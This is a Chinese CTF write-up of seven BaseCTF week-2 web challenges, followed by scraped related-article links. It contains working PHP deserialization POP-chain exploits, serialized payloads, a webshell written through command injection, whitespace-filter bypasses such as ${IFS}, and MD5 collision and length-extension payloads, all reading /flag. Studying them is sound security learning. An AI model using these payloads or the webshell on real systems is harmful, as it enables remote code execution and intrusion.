BaseCTF-Web-Week2-WP

目录

1、ez_ser

[2、 一起吃豆豆](#2、 一起吃豆豆)

3、你听不到我的声音

[4、Really EZ POP](#4、Really EZ POP)

5、RCEisamazingwithspace

[6、以你说你懂 MD5?](#6、以你说你懂 MD5?)

7、数学大师


1、ez_ser

简单的 pop 链构造,关于反序列化的魔术方法、 pop 链构造的详细讲解参考我之前的博客:

CTF - Web 干货_ctf web知识点大全-CSDN博客https://myon6.blog.csdn.net/article/details/135660293

[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客https://myon6.blog.csdn.net/article/details/131565599

exp:

php 复制代码
<?php
class re{
    public $chu0;
    public function __toString(){  // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;  // 2 pwn
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {  // wakeup 在反序列化时会自己触发的,也就是链头了
        echo "lalalla".$this->kw;  // 3 re
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {   // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
        if($this->dusk != "gods"){  
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();  // 1 Misc
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}

$m = new Misc();
$p = new pwn();
$p->over = $m;
$r = new re();
$r->chu0 = $p;
$w = new web();
$w->kw = $r;
echo serialize($w);


?>

构造 payload:

php 复制代码
?ser=O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";N;s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}ALL Done!

它这里所有的 if 语句都不影响后面语句执行的,所以其实不用管它赋不赋值,只需要找链子传着走,从链尾传到链头就行了。

2、 一起吃豆豆

F12 被禁用了,右键->检查,打开开发者工具

index.js 里面找到一串 base64 编码:

php 复制代码
QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==

解码:

拿到 flag:BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

3、你听不到我的声音

给的是 shell_exec 无回显的命令执行函数

根据前面几道题的经验,猜测 flag 在根目录下

payload:

php 复制代码
cmd=cat /flag > 1.txt

访问 1.txt 即可看到 flag

如果这种方法不行,我们猜不到它 flag 到底在哪儿以及叫什么名字怎么办呢?

这里什么过滤都没有,直接写入 webshell:

php 复制代码
cmd=echo '<?php @eval($_REQUEST[1]); ?>' > 1.php

访问 1.php,回显空白说明解析成功

调用木马:

看一下根目录:

php 复制代码
1=system('ls /');

读取 flag:

php 复制代码
1=system('tac /flag');

拿到 flag:BaseCTF{104b2b1b-fb0f-4a93-b60b-5d9df9945089}

4、Really EZ POP

同样的配方,先找链尾,很明显是这里:eval($this->cmd);

往上依次找就行了,最开始写出来的 exp 是:

php 复制代码
<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->word = $s1;
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo serialize($n)

?>

但是 $s2->word = $s1; 中 word 是私有变量,这里是调用不到的,链子顺序没有问题,修改代码访问私有变量。

方法(1)

通过使用 PHP 的反射机制访问和修改类的私有属性:

php 复制代码
<?php
class Sink
{
    private $cmd = 'system("tac /flag");';
    public function __toString() // 当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
    {
        eval($this->cmd);  // 1 system("ls");
    }
}

class Shark
{
    private $word;
    public function __invoke()  // 对象被当做函数进行调用时触发(找有括号的类似$a()这种)
    {
        echo 'Shark says: ' . $this->word;  // 2 Sink
    }
}

class Sea
{
    public $animal;
    public function __get($name)  // 调用类中不存在变量时触发(找有连续箭头的 this->a->b)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();  // 3 Shark
    }
}

class Nature
{
    public $sea;

    public function __destruct()  // 对象被销毁时自动触发,也就是我们的链头了
    {
        echo $this->sea->see;  // 4 Sea
    }
}

// 按照 1 2 3 4 的顺序编写 exp
$s1 = new Sink();
$s2 = new Shark();

$reflection = new ReflectionClass($s2);
$property = $reflection->getProperty('word');
$property->setAccessible(true);
$property->setValue($s2, $s1);

$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;

echo urlencode(serialize($n));

?>

拿到 flag:BaseCTF{99c9a2fb-a5d2-4dc8-81fa-a6018812131d}

方法(2)

在类中定义一个公有方法,用来设置或更改类的私有属性的值。

php 复制代码
<?php
class Sink
{
    private $cmd = "system('ls');";
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';

    public function __invoke()
    {
        echo 'Shark says:' . $this->word;  
    }

    public function setWord($newWord)
    {
        $this->word = $newWord;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani(); 
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$s1 = new Sink();
$s2 = new Shark();
$s2->setWord($s1); // 使用 setter 方法
$s3 = new Sea();
$s3->animal = $s2;
$n = new Nature();
$n->sea = $s3;
echo urlencode(serialize($n));
?>

5、RCEisamazingwithspace

ls 可以直接执行,但是这里过滤了 \s,也就是任意空白字符,包括:

空格(space)

制表符(tab)\t

换行符(newline)\n

回车符(carriage return)\r

垂直制表符(vertical tab)\v

换页符(form feed)\f

解法(1)

使用 ${IFS} 代替空格

(说明:IFS是linux的特殊变量,默认值是space空格, 是取变量值,IFS就代表空格)

php 复制代码
cmd=ls${IFS}/

执行成功,读取 flag:

php 复制代码
cmd=tac${IFS}/flag

拿到 flag:BaseCTF{ceb13ece-6bef-46d0-b07b-f7382cdf5e9d}

解法(2)

php 复制代码
cmd=tac</flag

解法(3)

php 复制代码
cmd=tac$IFS$9/flag

解法(4)

php 复制代码
cmd=tac$IFS/flag

6、以你说你懂 MD5?

先说前三个,包括md5 数组、字符、强碰撞的绕过:

php 复制代码
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

最后的这个就真不知道了,看了下题目的提示:MD5 长度拓展攻击

那就脚本原理吧,原本是有一个工具 hashpump,但是我 git 的时候提示找不到仓库了,然后在 github 上找到了一个写好的 python脚本,叫做 hash-ext-attack:

以为自己环境为例

php 复制代码
已知hash: 2d3053e40e295fd34fe1931f2b028b49
php 复制代码
扩展字符: admin
php 复制代码
密钥长度:96

运行得到:

php 复制代码
新明文(url编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin
php 复制代码
新hash:fd78be8215229fb48e7ac5b4537cb7ae

追加 name 和 md5 参数提交:

php 复制代码
apple[]=1&banana[]=2&appple=QLTHNDT&bananana=QNKCDZO&apppple=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&banananana=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=fd78be8215229fb48e7ac5b4537cb7ae

拿到 flag:BaseCTF{8e7fd329-32ec-4ff0-b4d3-a435be42a683}

7、数学大师

注意有 cookie,发送请求的时候要加上

写了个代码来处理:

python 复制代码
# @author:Myon
# @time:20240826
import requests
import re

url = 'http://challenge.basectf.fun:43966/'
cookies = {'PHPSESSID': 's61uaat8ivhrnipm0pqehmvu8a'}

# 第一次 GET 请求
response = requests.get(url, cookies=cookies)
print(response.text)

# 循环 50 次
for i in range(50):
    # 从响应中匹配计算表达式,\d+ 匹配一个或多个连续的数字,注意 \-\+\*\/ 需要转义,在正则表达式中,连字符 - 通常表示一个范围;+ 是量词,表示前面的元素可以重复一次或多次;* 表示零次或多次;/ 是正则表达式的边界
    match = re.search(r'\d+[×÷\-\+\*\/]\d+', response.text)
    if match:
        # 对表达式进行处理,乘号换为星号,除号换为取整
        expression = match.group(0).replace('×', '*').replace('÷', '//')
        print(expression)
        # 直接将表达式丢给 eval 处理
        result = eval(expression)
        print(result)
        payload = {'answer': result}
        # POST 提交结果,响应结果作为下次提取的对象
        response = requests.post(url, data=payload, cookies=cookies)
        print(response.text)
    else:
        # 没有匹配到计算表达式,结束循环
        break

注意,它第二次的题目是来源于第一次的响应而不是再次从 get 请求中获取

拿到 flag:BaseCTF{2e9b0802-c642-4224-9035-653cbd8f64fe}

相关推荐
LY8097 分钟前
前端开发者的福音:用JavaScript实现Live2D虚拟人口型同步
前端·虚拟现实
林涧泣8 分钟前
【Uniapp-Vue3】uniapp创建组件
前端·javascript·uni-app
Sinyu101213 分钟前
Flutter 动画实战:绘制波浪动效详解
android·前端·flutter
pikachu冲冲冲17 分钟前
vue权限管理(动态路由)
前端·vue.js
一条不想当淡水鱼的咸鱼24 分钟前
taro转H5端踩坑
前端·taro
傻小胖39 分钟前
React Context用法总结
前端·react.js·前端框架
xsh801442421 小时前
Java Spring Boot监听事件和处理事件
java·前端·数据库
JINGWHALE12 小时前
设计模式 行为型 状态模式(State Pattern)与 常见技术框架应用 解析
前端·人工智能·后端·设计模式·性能优化·系统架构·状态模式
Smile_zxx2 小时前
windows 下npm 使用 n 切换node版本
前端·windows·npm
柠檬豆腐脑2 小时前
前端构建工具的发展和现状:Webpack、Vite和其他
前端·webpack·vite